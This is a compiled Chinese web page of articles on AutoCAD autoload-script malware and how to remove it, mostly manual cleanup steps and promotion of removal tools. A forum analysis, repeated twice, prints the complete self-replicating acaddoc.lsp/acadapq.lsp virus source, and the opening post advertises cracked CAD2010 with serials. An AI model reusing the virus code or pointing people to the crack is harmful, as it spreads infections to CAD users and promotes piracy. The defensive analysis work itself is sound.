CAD病毒专杀工具 - 360文档中心

CAD2010 32、64位完全版+破解补丁+序列号镜像+CAD病毒专杀工具下载

CAD2010 32、64位完全版+破解补丁+序列号镜像+CAD病毒专杀工具下载2012-11-22 14:30:51| 分类：精选软件集BY刘佳| 标签：cad2010 |字号大中小订阅最近不少工程设计人员向我反映：网上很多CAD都是精简版，并且软件经常会因为CAD病毒的影响而出问题。

下面提供迅雷快传下载链接：/d/TTMJJLVDWAVN这个链接里边共提供了四个文件：1：CAD2010 32、64位完全版+破解补丁+序列号镜像2：魔方3安装包（用于提供虚拟光驱，如果本地已有其他虚拟光驱，可以考虑不下载）3: 360压缩3.0安装包（用于解包CAD病毒专杀工具，如果本地已有解压缩软件，可以考虑不下载）4:360CAD病毒专杀工具1.0 用于在安装cad之前查杀cad病毒，确保软件安装成功，且确保软件能正常运行。

强烈建议使用虚拟光驱安装，而不要刻盘安装。

不是说刻盘安装不会成功，而是高达24606个文件的镜像文件，光驱会吃不消。

因为光驱的读取数据速度远低于硬盘，这样会让安装变得非常慢，甚至损坏光驱、光盘！如果有条件的话，将本镜像文件放在移动硬盘里（2.0以上接口的，向本地硬盘安装，可进一步提高安装速度）我建议大家首先下载，并使用360cad病毒专杀工具来快速检测cad病毒1：解压缩CAD病毒专杀工具包，双击“CADVirusKiller.exe”文件，启动CAD病毒专杀工具2：由于扫描速度很快，建议大家选择“所有分区”选项。

删除方式选择“放入回收站”。

这样方便查找被查杀的文件。

注意：1：扫描期间硬盘将处于很高的负荷状态，建议不要同时运行其他占资源较大的程序2：建议提前检查回收站有没有删错的文件，将其还原，然后清空回收站。

这样方便查看被查杀的文件3：被查杀的文件放入回收站后，若cad运行正常，请尽快再次清空回收站。

因为回收站的文件还在磁盘上，有可能会对其他文件发动二次攻击！3：正在查杀CAD病毒4：哈哈，扫描结束，在我的电脑上未发现风险。

常见AutoCAD病毒（acad.fas、acad.lsp）清除方法

常见AutoCAD病毒（acad.fas、acad.lsp）清除方法没有删除干净吧。

“CAD恶意程序”网上也称之为“CAD病毒”。

其实，常见的CAD恶意程序并不具备一般病毒特征，不能单独传染，不会感染系统文件，只能在CAD环境下传播，没有对系统产生危害，但会造成CAD 部份命令失效（如：无法使用分解命令、鼠标中键平移被修改、填充不能使用、多段线空心等），使其操作不便，从而影响制图效率及质量。

CAD恶意程序清除工具，支持CAD2002-2010版本。

程序根据“病毒及信任文件”列表搜索、删除CAD恶意程序并清除其加载项。

大家在工作中，打开自己或别人拷贝来的DWG文件前，不要忙着打开CAD，先看看这个DWG图纸目录内，有没有acad.lsp、acad.fas和acad.vlx这些的文件，有就应该立即清除该文件。

这样可以大大减少“CAD恶意程序”传播的机会。

手工清除方法：①、关闭CAD（一定要关闭正在运行中的CAD程序）；②、按F3键或在“开始”菜单打开“搜索”→“文件或文件夹”搜索窗口，全盘搜索下面的已知可能是CAD恶意程序的文件名；acad.lspacad.fasacad.vlxacad.sysacaddoc.lspacadiso.lspacaddoc.fasacadapq.lspacadappp.lspacadapp.lsplcm.fasacadsmu.fas搜索发现文件后，注意该文件的所在目录，判断这个文件是不是你正在使用的某些外挂插件或专业软件所用到的自动加载文件，再决定是否删除。

注意：“搜索范围”一定要选择“本地硬盘(C:;D:;E:;...)”，并勾选“搜索选项”中的“高级选项”，将其下的“搜索系统文件夹”、“搜索隐藏的文件和文件夹”和“搜索子文件夹”项都勾选上，否则不能完全搜索出这些文件。

③、复制代码“(setvar "zoomfactor" 40)(setvar "mbuttonpan"1)(setvar "highlight" 1)(se tvar "fillmode" 1)(setvar "pickauto" 1)”粘贴在CAD命令行，恢复被修改的系统变量；④、清除残留的加载项，复制“(startapp "notepad" (findfile "acad.mnl"))”在CAD命令行，打开“acad.mnl”文件，查看文件内是否有类似“(load "acadappp")”或“(load "acadappp.lsp")”这样的内容，有则删去这些内容后保存“acad.mnl”文件；无可忽略此操作。

CAD病毒快速修复

CAD病毒快速修复
电脑病毒在21世纪对每个使用或者不适用电脑的人来说都是一种威胁，特别是对从事科研开发、工程设计等从业人员来说，病毒更是一种致命杀手。

在工程设计领域，CAD软件是设计人员的左右手，因此软件的健康也至关重要。

CAD病毒也就是设计人员最担心的，中毒之后出现图纸文件数据丢失，带来经济损失。

如果CAD软件带有CAD病毒快速修复或者杀毒的能力，那么必将受到广大设计师的喜爱。

国产CAD领军企业苏州浩辰软件股份有限公司研发的浩辰CAD燕秀模具软件具备了CAD病毒快速修复功能，下面就让我们来看一下该功能。

软件的下载地址在文章末尾打开浩辰CAD燕秀模具软件，依次点击菜单栏【燕秀工具箱】-【环境设置】-【CAD中毒修复】调出CAD中毒修复对话框，如图一
图一CAD中毒修复对话框
建议勾选开启自动扫描。

修复有两种，一种是自动修复，一种是手动修复。

浩辰CAD燕秀模具软件自动修复可以快速修复常见病毒损坏的CAD设置和命令。

手动修复用于自动修复后还有命令不能使用的情况下，输入命令全名，点击
会实现手动修复命令。

除了以上自动修复和手动修复外，浩辰CAD燕秀模具软件还提供了icad.lsp病毒免疫功能和快捷键命令还原功能。

在这里再给大家介绍一个浩辰CAD开发的CAD病毒专杀工具，如图二
图二CAD病毒专杀工具
浩辰CAD燕秀模具软件下载地址：/cad_51_47.html 浩辰CAD病毒专杀工具下载地址：/cad_58_58.html。

CAD杀毒软件解决卡顿、反应慢（附下载链接）

CAD杀毒软件解决卡顿、反应慢（附下载链接）使用小技巧
如你的电脑感染了CAD病毒后会出现CAD软件运行变得缓慢，CAD打开的时候一直卡在重生成模型，不时弹出“x不会亏待你”这一类的恶搞对话框，平时可使用正常的cad文件打不开，cad工具栏消失等异常问题，建议尝试使用这个CAD杀毒软件，下载链接在文末。

解决方法
1、下载CAD杀毒软件，解压以后双击打开启动程序（CAD或者cass需要是关闭的状态）
2、软件打开以后弹出如下界面，点击开始扫描
3、扫描进行中，如果病毒会自动放入回收站
4、扫描结束以后弹出扫描结束的界面，点击确定
注意事项
使用病毒专杀工具以后，个别的会出现CAD所有快捷键都用不了的情况，这是因为CAD杀毒判断原来的插件acad.pgp文件有风险暂时
隔离了，我们可以按照下面的方法进行处理。

1、如果风险文件在回收站里，还原acad.pgp文件即可。

2、如果已经删除，在管理员权限下打开CAD，点击菜单栏的工具--自定义--编辑程序参数(acad.pgp)，从其他正常电脑上拷贝一个acad.pgp文件，覆盖掉原来的，保存关闭。

在命令行输入reinit，在PGP文件前面打上勾，点确定。

END。

筑原CAD病毒专杀 V3.1

欢迎使用本软体
本软体为AutoCadΒιβλιοθήκη 毒专杀修复及免疫于一体的专杀工具.
..........................................
公路桥梁隧道图纸、软件、计算书更新中...，欢迎再次光临！
本次更新内容：公路桥梁结构设计系统GQJS 9.7升级版、纬地学习资料及软件、桥梁大师学习资料、交通部通用图宣贯材料技术交流、交通部小箱梁下部图纸CAD版、隧道图纸cad版、高速公路全套图纸2、二级公路图纸cad版
/
/
桥梁计算书汇总、现浇钢筋混凝土简支板（省院新规范公路桥涵通用图）、新版公路桥梁通用图CAD+pdf版、桥梁图集、路桥软件(midas，桥博，桥梁通，纬地等)及视频资料教程、高速公路全套施工图、路桥规范书籍、公路桥涵通用图加密角度部份、高速公路施工图通用技术指导书及设计审查要点、施工组织设计、建筑图集、老版公路桥涵通用图汇总(CAD版)、挡土墙设计计算软件理正岩土图集规范等等。

AUTOCAD病毒的清除方法acaddoc.lsp和acadapq.lsp

AUTOCAD病毒的清除方法acaddoc.lsp是一个专门针对CAD文件的病毒，在CAD软件使用中主要表现的情况如下：1、无法拷贝2、在命令行提示需要执行一个宏3、CAD会出莫名其妙的问题解决方法：关闭AutoCAD程序;搜索所有acaddoc.lsp和acadapq.lsp文件删除所有关acadapq.lsp(3,836字节) 和被感染的acaddoc.lsp(27字节) (看文件大小);重启AutoCAD,OKashan发表LZ还说少了一个步骤：没有处理acad.mnl文件，这样的清除并不彻底，下次再打开带毒的dwg文件（这里并非指dwg文件本身带毒，而是指在该dwg文件下有acaddoc.lsp文件存在）后，系统又会感染病毒，偶曾经对这个cad病毒的代码做过详细分析，下面是原文，有兴趣的朋友可以详细看看：最近自己的电脑中了CAD病毒，症状为打开一个dwg文件后，在该dwg文件所在目录下就会自动生成一个“acaddoc.lsp”文件，即使手工将其删除，下次打开dwg文件时又会自动生成。

如果把dwg文件和acaddoc.lsp文件一起复制到另外一部未感染CAD病毒的电脑上，只要一打开该dwg文件，则该电脑就会被感染。

因为这个CAD病毒是个lisp程序，花了些时间对病毒代码进行分析如下：-----------------下面是病毒代码-----------------------------(setq wold_cmd (getvar "cmdecho"))(setvar "cmdecho" 0)(setq wpath (findfile "base.dcl"))(setq wpath (substr wpath 1 (- (strlen wpath) 8))) ;wpath变量保存ACAD下support目录路径(setq wwmnlwpath (getvar "menuname")) ;获得当前菜单名，这句没有用处，下面并未使用wwmnlwpath变量(setq wnowdwg (getvar "dwgname")) ;获得当前打开图形文件名(setq wwjqm (findfile wnowdwg)) ;wwjqm变量保存当前打开图形文件的完整路径(setq wdwgwpath (substr wwjqm 1( - (strlen wwjqm) (strlen wnowdwg)))) ;wdwgwpath变量保存当前打开图形文件所在路径;;;alert( setq f ( open "c:\\boot.dat" "w")) ;f变量为boot.dat文件句柄，c盘根目录下boot.dat文件若存在则(write-line "[dang]" f) ;打开，不存在则创建，然后将当前打开图形文件所在路径和support(write-line (strcat "ff=" wdwgwpath) f) ;目录路径写入boot.dat文件(write-line (strcat "yy=" wpath) f)(close f)(setq boot (findfile "boot.dat")) ;获得boot.dat文件所在目录完整路径(if (/= boot "") (command "_-vbarun" "ThisDrawing.hh")) ;这句是要运行一个名为“ThisDrawing.hh”的宏，但该宏并不存在(setq wacadwpath (findfile "acaddoc.lsp")) ;wacadwpath变量保存当前加载的acaddoc.lsp文件所在目录(setq wacadwpath (substr wacadwpath 1(- (strlen wacadwpath) 11)))(setq wns1 "" wns2 "")(setq wlspbj 0) ;wlspbj变量是判断support目录下acaddoc.lsp文件是否已感染的;;; ;标志，已感染为1，未感染为0(setq wwjqm (strcat wpath "acaddoc.lsp")) ;wwjqm变量指向support目录下的acaddoc.lsp文件(if (setq wwjm (open wwjqm "r")) ;wwjm变量为打开support目录下的acaddoc.lsp文件的句柄，若打开(progn ;成功则进行处理(while(setq wwz (read-line wwjm)) ;逐行读取acaddoc.lsp文件内容，读取结束后，wns1中是倒数第2行(setq wns1 wns2 ) ;内容，wns2中是最后一行的内容(setq wns2 wwz))(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”，(if (= (substr wns1 8 7) "acadapq") ;若是则已感染(setq wlspbj 1)))(close wwjm)))(setq wlspmnl 0) ;wlspmnl变量是判断support目录下acad.mnl文件是否已感染的标志，;;; ;已感染为1，未感染为0(setq wwjqm (strcat wpath "acad.mnl")) ;wwjqm变量指向support目录下的acad.mnl文件(if (setq wwjm (open wwjqm "r" )) ;wwjm变量为打开support目录下的acad.mnl文件的句柄，若打开(progn ;成功则进行处理(while (setq wwz (read-line wwjm)) ;逐行读取acad.mnl文件内容，读取结束后，wns1中是倒数第2行内容(setq wns1 wns2 ) ;wns2中是最后一行的内容(setq wns2 wwz))(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”，若是则(if (= (substr wns1 8 7) "acadapq") ;已感染(setq wlspmnl 1)))(close wwjm) ;关闭acad.mnl文件))(if (= wlspmnl 0) ;若acad.mnl文件未感染，则写入加载病毒的代码到acad.mnl文件的(progn ;最后2行中(setq wwjqm (strcat wpath(strcat (chr 97) (chr 99) (chr 97)(chr 100) (chr 46) (chr 109)(chr 110) (chr 108)) )) ;障眼法，等于(strcat wpath "acad.mnl")(setq wwjm (open wwjqm "a"))(write-line (strcat "(load " (chr 34)"acadapq" (chr 34) ")" ) wwjm)(write-line "(princ)" wwjm)(close wwjm)))(defun wwriteapp ()(if (setq wwjm1 (open wnewacad "w"))(progn(setq wwjm (open woldacad "r"))(while (setq wwz (read-line wwjm))(write-line wwz wwjm1))(close wwjm)(close wwjm1))))(if (and (= wacadwpath wdwgwpath)(/= wacadwpath wpath)) ;若加载的acaddoc.lsp文件和图形文件同目录(progn(if (= 0 wlspmnl) ;acad.mnl文件未感染(progn(setq woldacad (findfile "acaddoc.lsp")) ;在下面调用wwriteapp子程序读取图形文件目录下的acaddoc.lsp文件(setq wnewacad (strcat wpath "acadapq.lsp")) ;的内容，在support目录下创建acadapq.lsp 文件并将acaddoc.lsp) ;文件的内容写入acadapq.lsp文件中;;else （acad.mnl文件已感染）(progn(setq woldacad (strcat wpath "acadapq.lsp" )) ;在下面调用wwriteapp子程序读取support目录下的acadapq.lsp文件(setq wnewacad (findfile "acaddoc.lsp")) ;的内容，写入图形目录下的acaddoc.lsp文件中))(if (= wlspbj 0) ;support目录下的acaddoc.lsp文件未感染(progn ;下面代码将加载病毒程序的代码写入acaddoc.lsp文件的最后2行中(setq wwjqm (strcat wpath "acaddoc.lsp" ))(setq wwjm (open wwjqm "a"))(write-line (strcat "(load " (chr 34)"acadapq" (chr 34) ")" ) wwjm)(write-line "(princ)" wwjm)(close wwjm)))(wwriteapp));;else （若加载的是support目录下的acaddoc.lsp文件）(progn(if (/= wnowdwg "Drawing.dwg" ) ;当前打开文件不是新建图形文件(progn(setq woldacad (findfile "acadapq.lsp")) ;在图形文件目录下创建acaddoc.lsp文件，将acadapq.lsp(setq wnewacad (strcat wdwgwpath "acaddoc.lsp")) ;文件的内容写入acaddoc.lsp文件中(wwriteapp)))))(setvar "cmdecho" wold_cmd)(princ) ;下面的代码又是个障眼法，没什么作用(setq strtopstr (strcat (chr 92) (chr 92) (chr 70)(chr 83) (chr 49) (chr 92)(chr 83) (chr 89) (chr 83)(chr 49) (chr 92) (chr 87)(chr 79) (chr 82) (chr 75)(chr 92) (chr 80) (chr 76)))-----------------病毒代码到此结束----------------------------从以上对病毒代码的分析可知，该病毒的病毒文件有2个，一个为acadapq.lsp，位于ACAD 安装目录下的support目录下，另一个为acaddoc.lsp，位于当前打开的dwg文件所在目录下，2个病毒文件的内容相同。

autocad病毒终极解决办法

autocad病毒终极解决办法
autocad, 办法, 解决
前段时间，单位电脑cad病毒中的恼火，网上的所谓cad病毒专杀工具一点都不管用，经过分析、查阅资料终于得到完美解决方案了
开始——搜索——文件或文件夹——所有文件和文件夹——更多高级选项（里面的复选框全部选中*很重要*）——全部或部分文件名框里面填写“*.fas”（当然不包括引号)——全盘搜索——将搜索到的内容要毫不留情的删掉，以绝后患，并清空回收站。

然后再搜索下“acad.lsp”，同上，将找到的全部删掉，并清空回收站。

终于告别“领导的眼睛是雪亮的”了，希望大家好运。

CAD病毒专杀软件分享

CAD病毒专杀软件分享每天积累一点，让自己更专业！关注CAD制图有问必答筑原cad病毒专杀是专为AutoCad软件开发的一款病毒专杀修复及免疫于一体的专杀工具！一.扫描病毒的流程如下:二.处理病毒1.acad.lsp 很多以(defun s::startup (/old_cmd 等开头的lsp病毒代码中毒后,打开文件自动建立acad.lsp文件等.2.acaddoc.lsp以 (setq flagx t) (setq bz'(setq flagx t)')开头lsp代码中毒后acad.mnl 及cad的support下的所有lsp文件某位都加上此段病毒代码.天正等软件无法启动.3.acad.fas版本1 有病毒样本,完美处理.1.病毒在启动CAD时会弹出一个显示时间并写有“党是不会亏待你”的对话框 2.注册表增加HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dwgrun 3.增加文件c:\WINDOWS\system32\copyfile.vbsc:\WINDOWS\system32\copy.sys(acad.fas副本)cad安装目录,很多子目录中有acad.fas和lcm.fas文件.版本2 本人无病毒样本,网友提供解决方法.1.注册表增加 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sys:'C:\WINDOWS\system32\copyfile.vbs'2.增加文件系统目录中增加 winsys.ini、winfas.ini、dwgrun.batcad安装目录,很多子目录中有acad.sys、acad.fas、acad.ini版本3 有病毒样本,完美处理. 1.注册表增加HKCU\Software\FileKenHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup 写入BEI_ZHU值200302142.拷贝文件 C:\Program Files\AutoCAD 2004\Fonts\isohztxt.shx (acad.fas副本)C:\WINDOWS\DivX.finC:\WINDOWS\system32\SHFR.CMD3.修改文件acad.mnl文件中间增加 (setvar'cmdecho' 0) (command'slide')结尾增加 (princ)(if (null stol) (load 'lcm'''))acad.pgp文件中间增加 SLIDE, SHFR, 5,4.acad.vlx版本1 有病毒样本,完美处理.1. 打开图档会自动生成一个acad.vlx的文件 2.CAD目录的acetauto.lsp ai_utils.lsp acad.mnl文件中间被添加 (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))3.Help目录增加logo.gif (acad.vlx文件的副本)版本2 本人无病毒样本,网友提供解决方法.1.破坏性的acad.vlx,打开CAD图纸,发现图纸上只有一句英文:MUST re_cover!以前画的图全没有了.2.运行re_cover就可以恢复被打乱隐藏的图纸3.全盘搜索acad.vlx删除常见问题：01. 新变种未知病毒如何查杀?假设病毒文件名为acad.fas,在黑名单中添加acad.fas名字,选项中选择放至回收站,手动搜索CAD搜索支持目录中的lsp、mnu文件是否感染病毒代码.如感染手动清除。

AUTOCAD病毒的清除方法acaddoc.lsp和acadapq.lsp

AUTOCAD病毒的清除方法acaddoc.lsp是一个专门针对CAD文件的病毒，在CAD软件使用中主要表现的情况如下：1、无法拷贝2、在命令行提示需要执行一个宏3、CAD会出莫名其妙的问题解决方法：关闭AutoCAD程序;搜索所有acaddoc.lsp和acadapq.lsp文件删除所有关acadapq.lsp(3,836字节) 和被感染的acaddoc.lsp(27字节) (看文件大小);重启AutoCAD,OKashan发表LZ还说少了一个步骤：没有处理acad.mnl文件，这样的清除并不彻底，下次再打开带毒的dwg文件（这里并非指dwg文件本身带毒，而是指在该dwg文件下有acaddoc.lsp文件存在）后，系统又会感染病毒，偶曾经对这个cad病毒的代码做过详细分析，下面是原文，有兴趣的朋友可以详细看看：最近自己的电脑中了CAD病毒，症状为打开一个dwg文件后，在该dwg文件所在目录下就会自动生成一个“acaddoc.lsp”文件，即使手工将其删除，下次打开dwg文件时又会自动生成。

如果把dwg文件和acaddoc.lsp文件一起复制到另外一部未感染CAD病毒的电脑上，只要一打开该dwg文件，则该电脑就会被感染。

因为这个CAD病毒是个lisp程序，花了些时间对病毒代码进行分析如下：-----------------下面是病毒代码-----------------------------(setq wold_cmd (getvar "cmdecho"))(setvar "cmdecho" 0)(setq wpath (findfile "base.dcl"))(setq wpath (substr wpath 1 (- (strlen wpath) 8))) ;wpath变量保存ACAD下support目录路径(setq wwmnlwpath (getvar "menuname")) ;获得当前菜单名，这句没有用处，下面并未使用wwmnlwpath变量(setq wnowdwg (getvar "dwgname")) ;获得当前打开图形文件名(setq wwjqm (findfile wnowdwg)) ;wwjqm变量保存当前打开图形文件的完整路径(setq wdwgwpath (substr wwjqm 1( - (strlen wwjqm) (strlen wnowdwg)))) ;wdwgwpath变量保存当前打开图形文件所在路径;;;alert( setq f ( open "c:\\boot.dat" "w")) ;f变量为boot.dat文件句柄，c盘根目录下boot.dat文件若存在则(write-line "[dang]" f) ;打开，不存在则创建，然后将当前打开图形文件所在路径和support(write-line (strcat "ff=" wdwgwpath) f) ;目录路径写入boot.dat文件(write-line (strcat "yy=" wpath) f)(close f)(setq boot (findfile "boot.dat")) ;获得boot.dat文件所在目录完整路径(if (/= boot "") (command "_-vbarun" "ThisDrawing.hh")) ;这句是要运行一个名为“ThisDrawing.hh”的宏，但该宏并不存在(setq wacadwpath (findfile "acaddoc.lsp")) ;wacadwpath变量保存当前加载的acaddoc.lsp文件所在目录(setq wacadwpath (substr wacadwpath 1(- (strlen wacadwpath) 11)))(setq wns1 "" wns2 "")(setq wlspbj 0) ;wlspbj变量是判断support目录下acaddoc.lsp文件是否已感染的;;; ;标志，已感染为1，未感染为0(setq wwjqm (strcat wpath "acaddoc.lsp")) ;wwjqm变量指向support目录下的acaddoc.lsp文件(if (setq wwjm (open wwjqm "r")) ;wwjm变量为打开support目录下的acaddoc.lsp文件的句柄，若打开(progn ;成功则进行处理(while(setq wwz (read-line wwjm)) ;逐行读取acaddoc.lsp文件内容，读取结束后，wns1中是倒数第2行(setq wns1 wns2 ) ;内容，wns2中是最后一行的内容(setq wns2 wwz))(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”，(if (= (substr wns1 8 7) "acadapq") ;若是则已感染(setq wlspbj 1)))(close wwjm)))(setq wlspmnl 0) ;wlspmnl变量是判断support目录下acad.mnl文件是否已感染的标志，;;; ;已感染为1，未感染为0(setq wwjqm (strcat wpath "acad.mnl")) ;wwjqm变量指向support目录下的acad.mnl文件(if (setq wwjm (open wwjqm "r" )) ;wwjm变量为打开support目录下的acad.mnl文件的句柄，若打开(progn ;成功则进行处理(while (setq wwz (read-line wwjm)) ;逐行读取acad.mnl文件内容，读取结束后，wns1中是倒数第2行内容(setq wns1 wns2 ) ;wns2中是最后一行的内容(setq wns2 wwz))(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”，若是则(if (= (substr wns1 8 7) "acadapq") ;已感染(setq wlspmnl 1)))(close wwjm) ;关闭acad.mnl文件))(if (= wlspmnl 0) ;若acad.mnl文件未感染，则写入加载病毒的代码到acad.mnl文件的(progn ;最后2行中(setq wwjqm (strcat wpath(strcat (chr 97) (chr 99) (chr 97)(chr 100) (chr 46) (chr 109)(chr 110) (chr 108)) )) ;障眼法，等于(strcat wpath "acad.mnl")(setq wwjm (open wwjqm "a"))(write-line (strcat "(load " (chr 34)"acadapq" (chr 34) ")" ) wwjm)(write-line "(princ)" wwjm)(close wwjm)))(defun wwriteapp ()(if (setq wwjm1 (open wnewacad "w"))(progn(setq wwjm (open woldacad "r"))(while (setq wwz (read-line wwjm))(write-line wwz wwjm1))(close wwjm)(close wwjm1))))(if (and (= wacadwpath wdwgwpath)(/= wacadwpath wpath)) ;若加载的acaddoc.lsp文件和图形文件同目录(progn(if (= 0 wlspmnl) ;acad.mnl文件未感染(progn(setq woldacad (findfile "acaddoc.lsp")) ;在下面调用wwriteapp子程序读取图形文件目录下的acaddoc.lsp文件(setq wnewacad (strcat wpath "acadapq.lsp")) ;的内容，在support目录下创建acadapq.lsp 文件并将acaddoc.lsp) ;文件的内容写入acadapq.lsp文件中;;else （acad.mnl文件已感染）(progn(setq woldacad (strcat wpath "acadapq.lsp" )) ;在下面调用wwriteapp子程序读取support目录下的acadapq.lsp文件(setq wnewacad (findfile "acaddoc.lsp")) ;的内容，写入图形目录下的acaddoc.lsp文件中))(if (= wlspbj 0) ;support目录下的acaddoc.lsp文件未感染(progn ;下面代码将加载病毒程序的代码写入acaddoc.lsp文件的最后2行中(setq wwjqm (strcat wpath "acaddoc.lsp" ))(setq wwjm (open wwjqm "a"))(write-line (strcat "(load " (chr 34)"acadapq" (chr 34) ")" ) wwjm)(write-line "(princ)" wwjm)(close wwjm)))(wwriteapp));;else （若加载的是support目录下的acaddoc.lsp文件）(progn(if (/= wnowdwg "Drawing.dwg" ) ;当前打开文件不是新建图形文件(progn(setq woldacad (findfile "acadapq.lsp")) ;在图形文件目录下创建acaddoc.lsp文件，将acadapq.lsp(setq wnewacad (strcat wdwgwpath "acaddoc.lsp")) ;文件的内容写入acaddoc.lsp文件中(wwriteapp)))))(setvar "cmdecho" wold_cmd)(princ) ;下面的代码又是个障眼法，没什么作用(setq strtopstr (strcat (chr 92) (chr 92) (chr 70)(chr 83) (chr 49) (chr 92)(chr 83) (chr 89) (chr 83)(chr 49) (chr 92) (chr 87)(chr 79) (chr 82) (chr 75)(chr 92) (chr 80) (chr 76)))-----------------病毒代码到此结束----------------------------从以上对病毒代码的分析可知，该病毒的病毒文件有2个，一个为acadapq.lsp，位于ACAD 安装目录下的support目录下，另一个为acaddoc.lsp，位于当前打开的dwg文件所在目录下，2个病毒文件的内容相同。

浩辰病毒查杀小工具使用

浩辰病毒查杀小工具使用
相信很多设计师都有过CAD软件中毒的经历，一旦中毒，往往会出现正常的CAD文件打不开、CAD工具栏消失、软件运行缓慢、实线变成了虚线等问题。

由于CAD病毒与传统病毒不同，致使目前很多杀毒软件对其无能为力。

要解决此问题，我们建议大家尝试一下浩辰CAD病毒查杀工具。

首先我们看一下CAD病毒的感染原理：其利用了CAD软件的读取机制，在第一次打开带有病毒的图纸后，该病毒就在电脑中开始悄悄入侵，感染每一张新打开的图纸，致使将病毒文件到处复制，并生成很多名为“acad.lsp”的程序。

之后，病毒会搜索CAD软件数据库路径下的自动运行文件“acad.lsp”，并生成一个备份文件“acadapp.lsp”，其内容和自动运行文件一样。

打开CAD图纸时,软件就会运行加载该文件，同时在存放图纸文件的目录中生成“acad.lsp”和“acadapp.lsp”的副本。

而浩辰CAD病毒查杀工具针对了病毒感染的上述特点，可以迅速监测“acad.lsp”和“acadapp.lsp”这两个文件，并执行杀除程序，以保证CAD软件的安全。

软件使用也很简单，我们可以在浩辰CAD官网下载中心下载该工具，解压压缩包后双击CAD病毒专杀工具.exe文件，软件会弹出浩辰CAD病毒专杀工具（如图1），点击右边的放大镜图标开始查杀。

当然，亡羊补牢不如未雨绸缪，我们更应该养成不轻易打开未知的CAD文件、不在不明来历的网站上下载CAD软件、定期对文件进行扫描等良好的安全习惯，避免感染病毒。

浩辰CAD病毒专杀工具下载：/cad_58_58.html。

CAD病毒处理方法(党不会亏待你~~)

CAD病毒-党不会亏待你病毒删除方法中毒特征：打开DWG文件显示：程序作者QQ：252545152现在时间是：XX点XX分了的哦！好好干了啦！党是不会亏待你的！老板的眼睛是雪亮的啦！手工清除方法：首先请关闭CAD后，再搜索所有磁盘内的acad.fas、acad.sys、acad.ini、lcm.fas、dwgrun.exe、dwgrun.bat、winsys.ini、winfas.ini文件，（记住一定要搜索完所有的磁盘，如C、D、E、F、G等等。

）然后将所有搜索到的acad.fas、acad.sys、acad.ini、lcm.fas、dwgrun.exe、dwgrun.bat、winsys.ini、winfas.ini文件全部删除。

常见问题是C:\Program Files\autocad***目录（子目录）下的acad.fas与lcm.fas是在全部查找时找不到的,请手动进入目录再行查找删除!不想进去目录查找也可以输入下面的字符到CAD命令行：(while (or (setq a (findfile "acad.fas")) (setq a (findfile "lcm.fas"))) (vl-file-delete a))注意：上面红字一个字都不能少哦！这样就行了!如果有文字编缉时出现记事本的现象请将下面一行红字输入到命令行？：(setvar "mtexted" ".")还有今天上网我看到：听说可以杀这个病毒的~有空大家试试/read.php?tid=581341专杀没有试用过.据说使用后依然需要输入上面红色部分的命令才可以.据说直接输入上面红色部分命令就可以了.因为本人没有碰到过.只是看到同事是这样处理的所以我个人意见是删除那些文件后,再输入红色命令.以免将病毒传染出去..。

解决zdm不能用两大招数,杀cad病毒,重新设置360

2、最近发现360杀毒软件导致zdm无法使用，原因是防火墙阻止应用程序无法加载，在设置中将后缀名arx、fas、lsp、mnl、dcl、pat文件加入到
白名单中就可以了。在安装zdm软件时也应这样做。
2)点击zdm软件图标进入cad，在命令行键入(load "kvcad")回车加载kvcad程序。或用appload命令加载c:\zdm20XX
目录下kvcad.fas文件
3)在命令行键入kvcad,执行命令kvdm软件。
如果没有感染cad病毒zdm软件具有防病毒的功能，会自动将启动运行的lsp mnl文件改为只读，防止病毒侵入。
1、最近发现有些用户由于中了cad病毒无法使用zdm软件，为此编写了这个kvcad杀病毒程序，请大家试用
本程序可以杀cad病毒
1)将该目录下你使用的acad版本的文件夹以及kvcad.fas文件拷贝到对应的c:\zdm20XX目录下，使用acad2007~2009
拷贝到c:\zdm2008，使用acad2010~2012拷贝到c:\zdm2010目录下。

电脑使用cad感染病毒造成死机怎么解决

电脑使用cad感染病毒造成死机怎么解决
电脑已经成为人类生活中不可缺少的一部分,人们利用电脑可以轻松的完成以前需要大量劳动力才能完成的工作,但在人们在使用电脑中也会遇到很多的麻烦,比如死机,这些原因烦恼着每一个电脑用户,这不，最近就有小伙伴反映电脑使用cad时cad经常莫名其妙的感染各种病毒造成死机，遇到这种情况我们具体该怎么解决呢?下面就由店铺跟大家分享一下解决方法吧，欢迎大家来阅读学习。

电脑使用cad感染病毒造成死机解决方法
当我们使用CAD发现明显卡顿，或者文件夹种有许多莫名其妙的lsp文件，我们就该看看自己的CAD是否中毒了。

360CAD病毒专杀工具是一个很有效的工具，可以查杀大部分的CAD病毒。

下载解压后点击CADVirusKiller.exe
先关闭所有正在使用的CAD(包括天正等二次开发的CAD)，使用360CAD病毒专杀工具全盘扫描。

稍等片刻后，可以看到所有的病毒都被查出来了。

启动cad会看到有提示一些诸如加载失败、启动错误的命令行提示。

这是因为病毒虽然被删了，但是启动项还存在。

删除启动项最简单的方法就是在C盘搜索acad.mnl(cad病毒利用的启动文件)。

找到acad.mnl后用记事本打开，如图后面可以看到多了很多加载项，统统删掉。

删除多余启动项后如图。

保存acad.mnl后，重新打开cad可以看到一切都变得和软件刚装好一样，又快又干净。

CAD中毒了,燕秀帮你杀毒

CAD中毒了，燕秀帮你杀毒
在信息高速传播的今天，在给人们带来方便的同时，也传播着各种不好的行为，编制者在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码，这些都被称为病毒，计算机容易被程序控制因此中毒，而同样在我们使用软件里也会感染中病毒。

通常感染上病毒的软件例如绘图软件cad等，它们的功能就会受到影响，数据将被破坏、图纸丢失，软件乱码，这对于从事科研开发、工程设计人员来说这就是一个恶魔。

那么如果有这么一款软件，它既可以预防感染上相关病毒又可以对已经感染了病毒的软件进行病毒的查杀和修复该多好！现在浩辰燕秀工具箱就提供了这样的一个功能
首先，让我们打开使用这个功能
1、打开燕秀工具箱—环境设置—cad中毒修复如图一所示。

